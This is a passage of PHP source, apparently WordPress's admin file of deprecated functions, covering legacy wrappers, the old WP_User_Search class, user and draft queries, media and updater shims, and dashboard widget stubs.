 * @param int $level           Optional. Number of levels deep to display. Default 0.
 * @param array $categories    Optional. Categories to include in the control. Default 0.
 * @return void|false Void on success, false if no categories were found.
 */
function wp_dropdown_cats( $current_cat = 0, $current_parent = 0, $category_parent = 0, $level = 0, $categories = 0 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_dropdown_categories()' );
	if (!$categories )
		$categories = get_categories( array('hide_empty' => 0) );

	if ( $categories ) {
		foreach ( $categories as $category ) {
			if ( $current_cat != $category->term_id && $category_parent == $category->parent) {
				$pad = str_repeat( '&#8211; ', $level );
				$category->name = esc_html( $category->name );
				echo "\n\t<option value='$category->term_id'";
				if ( $current_parent == $category->term_id )
					echo " selected='selected'";
				echo ">$pad$category->name</option>";
				wp_dropdown_cats( $current_cat, $current_parent, $category->term_id, $level +1, $categories );
			}
		}
	} else {
		return false;
	}
}

/**
 * Register a setting and its sanitization callback
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use register_setting()
 * @see register_setting()
 *
 * @param string   $option_group      A settings group name. Should correspond to an allowed option key name.
 *                                    Default allowed option key names include 'general', 'discussion', 'media',
 *                                    'reading', 'writing', and 'options'.
 * @param string   $option_name       The name of an option to sanitize and save.
 * @param callable $sanitize_callback Optional. A callback function that sanitizes the option's value.
 */
function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'register_setting()' );
	register_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Unregister a setting
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use unregister_setting()
 * @see unregister_setting()
 *
 * @param string   $option_group      The settings group name used during registration.
 * @param string   $option_name       The name of the option to unregister.
 * @param callable $sanitize_callback Optional. Deprecated.
 */
function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'unregister_setting()' );
	unregister_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Determines the language to use for CodePress syntax highlighting.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 *
 * @param string $filename
 */
function codepress_get_lang( $filename ) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Adds JavaScript required to make CodePress work on the theme/plugin file editors.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 */
function codepress_footer_js() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Determine whether to use CodePress.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 */
function use_codepress() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Get all user IDs.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return array List of user IDs.
 */
function get_author_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;
	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
}

/**
 * Gets author users who can edit posts.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array|false List of editable authors. False if no editable users.
 */
function get_editable_authors( $user_id ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	$editable = get_editable_user_ids( $user_id );

	if ( !$editable ) {
		return false;
	} else {
		$editable = join(',', $editable);
		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
	}

	return apply_filters('get_editable_authors', $authors);
}

/**
 * Gets the IDs of any users who can edit posts.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int  $user_id       User ID.
 * @param bool $exclude_zeros Optional. Whether to exclude zeroes. Default true.
 * @return array Array of editable user IDs, empty array otherwise.
 */
function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	if ( ! $user = get_userdata( $user_id ) )
		return array();
	$post_type_obj = get_post_type_object($post_type);

	if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) {
		if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros )
			return array($user->ID);
		else
			return array();
	}

	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
	if ( $exclude_zeros )
		$query .= " AND meta_value != '0'";

	return $wpdb->get_col( $query );
}

/**
 * Gets all users who are not authors.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function get_nonauthor_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
}

if ( ! class_exists( 'WP_User_Search', false ) ) :
/**
 * WordPress User Search class.
 *
 * @since 2.1.0
 * @deprecated 3.1.0 Use WP_User_Query
 */
class WP_User_Search {

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var mixed
	 */
	var $results;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var string
	 */
	var $search_term;

	/**
	 * Page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $page;

	/**
	 * Role name that users have.
	 *
	 * @since 2.5.0
	 * @access private
	 * @var string
	 */
	var $role;

	/**
	 * Raw page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int|bool
	 */
	var $raw_page;

	/**
	 * Amount of users to display per page.
	 *
	 * @since 2.1.0
	 * @access public
	 * @var int
	 */
	var $users_per_page = 50;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $first_user;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $last_user;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var string
	 */
	var $query_limit;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_orderby;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_from;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_where;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $total_users_for_query = 0;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var bool
	 */
	var $too_many_total_users = false;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var WP_Error
	 */
	var $search_errors;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.7.0
	 * @access private
	 * @var string
	 */
	var $paging_text;

	/**
	 * PHP5 Constructor - Sets up the object properties.
	 *
	 * @since 2.1.0
	 *
	 * @param string $search_term Search terms string.
	 * @param int $page Optional. Page ID.
	 * @param string $role Role name.
	 * @return WP_User_Search
	 */
	function __construct( $search_term = '', $page = '', $role = '' ) {
		_deprecated_class( 'WP_User_Search', '3.1.0', 'WP_User_Query' );

		$this->search_term = wp_unslash( $search_term );
		$this->raw_page = ( '' == $page ) ? false : (int) $page;
		$this->page = ( '' == $page ) ? 1 : (int) $page;
		$this->role = $role;

		$this->prepare_query();
		$this->query();
		$this->do_paging();
	}

	/**
	 * PHP4 Constructor - Sets up the object properties.
	 *
	 * @since 2.1.0
	 *
	 * @param string $search_term Search terms string.
	 * @param int $page Optional. Page ID.
	 * @param string $role Role name.
	 * @return WP_User_Search
	 */
	public function WP_User_Search( $search_term = '', $page = '', $role = '' ) {
		_deprecated_constructor( 'WP_User_Search', '3.1.0', get_class( $this ) );
		self::__construct( $search_term, $page, $role );
	}

	/**
	 * Prepares the user search query (legacy).
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function prepare_query() {
		global $wpdb;
		$this->first_user = ($this->page - 1) * $this->users_per_page;

		$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
		$this->query_orderby = ' ORDER BY user_login';

		$search_sql = '';
		if ( $this->search_term ) {
			$searches = array();
			$search_sql = 'AND (';
			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
				$searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' );
			$search_sql .= implode(' OR ', $searches);
			$search_sql .= ')';
		}

		$this->query_from = " FROM $wpdb->users";
		$this->query_where = " WHERE 1=1 $search_sql";

		if ( $this->role ) {
			$this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id";
			$this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
		} elseif ( is_multisite() ) {
			$level_key = $wpdb->prefix . 'capabilities'; // WPMU site admins don't have user_levels.
			$this->query_from .= ", $wpdb->usermeta";
			$this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'";
		}

		do_action_ref_array( 'pre_user_search', array( &$this ) );
	}

	/**
	 * Executes the user search query.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function query() {
		global $wpdb;

		$this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit);

		if ( $this->results )
			$this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // No limit.
		else
			$this->search_errors = new WP_Error('no_matching_users_found', __('No users found.'));
	}

	/**
	 * Prepares variables for use in templates.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function prepare_vars_for_template_usage() {}

	/**
	 * Handles paging for the user search query.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	public function do_paging() {
		if ( $this->total_users_for_query > $this->users_per_page ) { // Have to page the results.
			$args = array();
			if ( ! empty($this->search_term) )
				$args['usersearch'] = urlencode($this->search_term);
			if ( ! empty($this->role) )
				$args['role'] = urlencode($this->role);

			$this->paging_text = paginate_links( array(
				'total' => ceil($this->total_users_for_query / $this->users_per_page),
				'current' => $this->page,
				'base' => 'users.php?%_%',
				'format' => 'userspage=%#%',
				'add_args' => $args
			) );
			if ( $this->paging_text ) {
				$this->paging_text = sprintf(
					/* translators: 1: Starting number of users on the current page, 2: Ending number of users, 3: Total number of users. */
					'<span class="displaying-num">' . __( 'Displaying %1$s&#8211;%2$s of %3$s' ) . '</span>%s',
					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
					number_format_i18n( $this->total_users_for_query ),
					$this->paging_text
				);
			}
		}
	}

	/**
	 * Retrieves the user search query results.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return array
	 */
	public function get_results() {
		return (array) $this->results;
	}

	/**
	 * Displaying paging text.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function page_links() {
		echo $this->paging_text;
	}

	/**
	 * Whether paging is enabled.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function results_are_paged() {
		if ( $this->paging_text )
			return true;
		return false;
	}

	/**
	 * Whether there are search terms.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function is_search() {
		if ( $this->search_term )
			return true;
		return false;
	}
}
endif;

/**
 * Retrieves editable posts from other users.
 *
 * @since 2.3.0
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id User ID to not retrieve posts from.
 * @param string $type    Optional. Post type to retrieve. Accepts 'draft', 'pending' or 'any' (all).
 *                        Default 'any'.
 * @return array List of posts from others.
 */
function get_others_unpublished_posts( $user_id, $type = 'any' ) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	global $wpdb;

	$editable = get_editable_user_ids( $user_id );

	if ( in_array($type, array('draft', 'pending')) )
		$type_sql = " post_status = '$type' ";
	else
		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";

	$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';

	if ( !$editable ) {
		$other_unpubs = '';
	} else {
		$editable = join(',', $editable);
		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
	}

	return apply_filters('get_others_drafts', $other_unpubs);
}

/**
 * Retrieve drafts from other users.
 *
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @param int $user_id User ID.
 * @return array List of drafts from other users.
 */
function get_others_drafts($user_id) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return get_others_unpublished_posts($user_id, 'draft');
}

/**
 * Retrieve pending review posts from other users.
 *
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @param int $user_id User ID.
 * @return array List of posts with pending review post type from other users.
 */
function get_others_pending($user_id) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return get_others_unpublished_posts($user_id, 'pending');
}

/**
 * Output the QuickPress dashboard widget.
 *
 * @since 3.0.0
 * @deprecated 3.2.0 Use wp_dashboard_quick_press()
 * @see wp_dashboard_quick_press()
 */
function wp_dashboard_quick_press_output() {
	_deprecated_function( __FUNCTION__, '3.2.0', 'wp_dashboard_quick_press()' );
	wp_dashboard_quick_press();
}

/**
 * Outputs the TinyMCE editor.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_tiny_mce( $teeny = false, $settings = false ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );

	static $num = 1;

	if ( ! class_exists( '_WP_Editors', false ) )
		require_once ABSPATH . WPINC . '/class-wp-editor.php';

	$editor_id = 'content' . $num++;

	$set = array(
		'teeny' => $teeny,
		'tinymce' => $settings ? $settings : true,
		'quicktags' => false
	);

	$set = _WP_Editors::parse_settings($editor_id, $set);
	_WP_Editors::editor_settings($editor_id, $set);
}

/**
 * Preloads TinyMCE dialogs.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_preload_dialogs() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Prints TinyMCE editor JS.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_print_editor_js() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Handles quicktags.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_quicktags() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Returns the screen layout options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0 WP_Screen::render_screen_layout()
 * @see WP_Screen::render_screen_layout()
 */
function screen_layout( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_screen_layout()' );

	$current_screen = get_current_screen();

	if ( ! $current_screen )
		return '';

	ob_start();
	$current_screen->render_screen_layout();
	return ob_get_clean();
}

/**
 * Returns the screen's per-page options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0 Use WP_Screen::render_per_page_options()
 * @see WP_Screen::render_per_page_options()
 */
function screen_options( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_per_page_options()' );

	$current_screen = get_current_screen();

	if ( ! $current_screen )
		return '';

	ob_start();
	$current_screen->render_per_page_options();
	return ob_get_clean();
}

/**
 * Renders the screen's help.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use WP_Screen::render_screen_meta()
 * @see WP_Screen::render_screen_meta()
 */
function screen_meta( $screen ) {
	$current_screen = get_current_screen();
	$current_screen->render_screen_meta();
}

/**
 * Favorite actions were deprecated in version 3.2. Use the admin bar instead.
 *
 * @since 2.7.0
 * @deprecated 3.2.0 Use WP_Admin_Bar
 * @see WP_Admin_Bar
 */
function favorite_actions() {
	_deprecated_function( __FUNCTION__, '3.2.0', 'WP_Admin_Bar' );
}

/**
 * Handles uploading an image.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_image() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading an audio file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_audio() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading a video file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_video() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading a generic file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_file() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles retrieving the insert-from-URL form for an image.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_image() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('image')" );
	return wp_media_insert_url_form( 'image' );
}

/**
 * Handles retrieving the insert-from-URL form for an audio file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_audio() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('audio')" );
	return wp_media_insert_url_form( 'audio' );
}

/**
 * Handles retrieving the insert-from-URL form for a video file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_video() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('video')" );
	return wp_media_insert_url_form( 'video' );
}

/**
 * Handles retrieving the insert-from-URL form for a generic file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_file() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('file')" );
	return wp_media_insert_url_form( 'file' );
}

/**
 * Add contextual help text for a page.
 *
 * Creates an 'Overview' help tab.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use WP_Screen::add_help_tab()
 * @see WP_Screen::add_help_tab()
 *
 * @param string    $screen The handle for the screen to add help to. This is usually
 *                          the hook name returned by the `add_*_page()` functions.
 * @param string    $help   The content of an 'Overview' help tab.
 */
function add_contextual_help( $screen, $help ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'get_current_screen()->add_help_tab()' );

	if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

	WP_Screen::add_old_compat_help( $screen, $help );
}

/**
 * Get the allowed themes for the current site.
 *
 * @since 3.0.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return WP_Theme[] Array of WP_Theme objects keyed by their name.
 */
function get_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'allowed' => true ) )" );

	$themes = wp_get_themes( array( 'allowed' => true ) );

	$wp_themes = array();
	foreach ( $themes as $theme ) {
		$wp_themes[ $theme->get('Name') ] = $theme;
	}

	return $wp_themes;
}

/**
 * Retrieves a list of broken themes.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return array
 */
function get_broken_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'errors' => true )" );

	$themes = wp_get_themes( array( 'errors' => true ) );
	$broken = array();
	foreach ( $themes as $theme ) {
		$name = $theme->get('Name');
		$broken[ $name ] = array(
			'Name' => $name,
			'Title' => $name,
			'Description' => $theme->errors()->get_error_message(),
		);
	}
	return $broken;
}

/**
 * Retrieves information on the current active theme.
 *
 * @since 2.0.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @return WP_Theme
 */
function current_theme_info() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );

	return wp_get_theme();
}

/**
 * This was once used to display an 'Insert into Post' button.
 *
 * Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _insert_into_post_button( $type ) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * This was once used to display a media button.
 *
 * Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _media_button($title, $icon, $type, $id) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * Gets an existing post and format it for editing.
 *
 * @since 2.0.0
 * @deprecated 3.5.0 Use get_post()
 * @see get_post()
 *
 * @param int $id
 * @return WP_Post
 */
function get_post_to_edit( $id ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );

	return get_post( $id, OBJECT, 'edit' );
}

/**
 * Gets the default page information to use.
 *
 * @since 2.5.0
 * @deprecated 3.5.0 Use get_default_post_to_edit()
 * @see get_default_post_to_edit()
 *
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_page_to_edit() {
	_deprecated_function( __FUNCTION__, '3.5.0', "get_default_post_to_edit( 'page' )" );

	$page = get_default_post_to_edit();
	$page->post_type = 'page';
	return $page;
}

/**
 * This was once used to create a thumbnail from an Image given a maximum side size.
 *
 * @since 1.2.0
 * @deprecated 3.5.0 Use image_resize()
 * @see image_resize()
 *
 * @param mixed $file Filename of the original image, Or attachment ID.
 * @param int $max_side Maximum length of a single side for the thumbnail.
 * @param mixed $deprecated Never used.
 * @return string Thumbnail path on success, Error string on failure.
 */
function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'image_resize()' );
	return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) );
}

/**
 * This was once used to display a meta box for the nav menu theme locations.
 *
 * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen.
 *
 * @since 3.0.0
 * @deprecated 3.6.0
 */
function wp_nav_menu_locations_meta_box() {
	_deprecated_function( __FUNCTION__, '3.6.0' );
}

/**
 * This was once used to kick-off the Core Updater.
 *
 * Deprecated in favor of instantiating a Core_Upgrader instance directly,
 * and calling the 'upgrade' method.
 *
 * @since 2.7.0
 * @deprecated 3.7.0 Use Core_Upgrader
 * @see Core_Upgrader
 */
function wp_update_core($current, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Core_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Core_Upgrader();
	return $upgrader->upgrade($current);

}

/**
 * This was once used to kick-off the Plugin Updater.
 *
 * Deprecated in favor of instantiating a Plugin_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.5.0
 * @deprecated 3.7.0 Use Plugin_Upgrader
 * @see Plugin_Upgrader
 */
function wp_update_plugin($plugin, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Plugin_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Plugin_Upgrader();
	return $upgrader->upgrade($plugin);
}

/**
 * This was once used to kick-off the Theme Updater.
 *
 * Deprecated in favor of instantiating a Theme_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.7.0
 * @deprecated 3.7.0 Use Theme_Upgrader
 * @see Theme_Upgrader
 */
function wp_update_theme($theme, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Theme_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Theme_Upgrader();
	return $upgrader->upgrade($theme);
}

/**
 * This was once used to display attachment links. Now it is deprecated and stubbed.
 *
 * @since 2.0.0
 * @deprecated 3.7.0
 *
 * @param int|bool $id
 */
function the_attachment_links( $id = false ) {
	_deprecated_function( __FUNCTION__, '3.7.0' );
}

/**
 * Displays a screen icon.
 *
 * @since 2.7.0
 * @deprecated 3.8.0
 */
function screen_icon() {
	_deprecated_function( __FUNCTION__, '3.8.0' );
	echo get_screen_icon();
}

/**
 * Retrieves the screen icon (no longer used in 3.8+).
 *
 * @since 3.2.0
 * @deprecated 3.8.0
 *
 * @return string An HTML comment explaining that icons are no longer used.
 */
function get_screen_icon() {
	_deprecated_function( __FUNCTION__, '3.8.0' );
	return '<!-- Screen icons are no longer used as of WordPress 3.8. -->';
}

/**
 * Deprecated dashboard widget controls.
 *
 * @since 2.5.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links_output() {}

/**
 * Deprecated dashboard secondary output.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary_output() {}

/**
 * Deprecated dashboard widget controls.
 *
 * @since 2.7.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links() {}

/**
 * Deprecated dashboard incoming links control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links_control() {}

/**
 * Deprecated dashboard plugins control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_plugins() {}

/**
 * Deprecated dashboard primary control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_primary_control() {}

/**
 * Deprecated dashboard recent comments control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_recent_comments_control() {}

/**
 * Deprecated dashboard secondary section.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary() {}

/**
 * Deprecated dashboard secondary control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary_control() {}

/**
 * Display plugins text for the WordPress news widget.
 *
 * @since 2.5.0
 * @deprecated 4.8.0
 *
 * @param string $rss  The RSS feed URL.
 * @param array  $args Array of arguments for this RSS feed.
 */
function wp_dashboard_plugins_output( $rss, $args = array() ) {
	_deprecated_function( __FUNCTION__, '4.8.0' );

	// Plugin feeds plus link to install them.
	$popular = fetch_feed( $args['url']['popular'] );

	if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) {
		$plugin_slugs = array_keys( get_plugins() );
		set_transient( 'plugin_slugs', $plugin_slugs, DAY_IN_SECONDS );
	}

	echo '<ul>';

	foreach ( array( $popular ) as $feed ) {
		if ( is_wp_error( $feed ) || ! $feed->get_item_quantity() )
			continue;

		$items = $feed->get_items(0, 5);

		// Pick a random, non-installed plugin.
		while ( true ) {
			// Abort this foreach loop iteration if there's no plugins left of this type.
			if ( 0 === count($items) )
				continue 2;

			$item_key = array_rand($items);
			$item = $items[$item_key];

			list($link, $frag) = explode( '#', $item->get_link() );

			$link = esc_url($link);
			if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) )
				$slug = $matches[1];
			else {
				unset( $items[$item_key] );
				continue;
			}

			// Is this random plugin's slug already installed? If so, try again.
			reset( $plugin_slugs );
			foreach ( $plugin_slugs as $plugin_slug ) {
				if ( str_starts_with( $plugin_slug, $slug ) ) {
					unset( $items[$item_key] );
					continue 2;
				}
			}

			// If we get to this point, then the random plugin isn't installed and we can stop the while().
			break;
		}

		// Eliminate some common badly formed plugin descriptions.
		while ( ( null !== $item_key = array_rand($items) ) && str_contains( $items[$item_key]->get_description(), 'Plugin Name:' ) )
			unset($items[$item_key]);

		if ( !isset($items[$item_key]) )
			continue;

		$raw_title = $item->get_title();

		$ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . '&amp;TB_iframe=true&amp;width=600&amp;height=800';
		echo '<li class="dashboard-news-plugin"><span>' . __( 'Popular Plugin' ) . ':</span> ' . esc_html( $raw_title ) .
			'&nbsp;<a href="' . $ilink . '" class="thickbox open-plugin-details-modal" aria-label="' .
			/* translators: %s: Plugin name. */
			esc_attr( sprintf( _x( 'Install %s', 'plugin' ), $raw_title ) ) . '">(' . __( 'Install' ) . ')</a></li>';

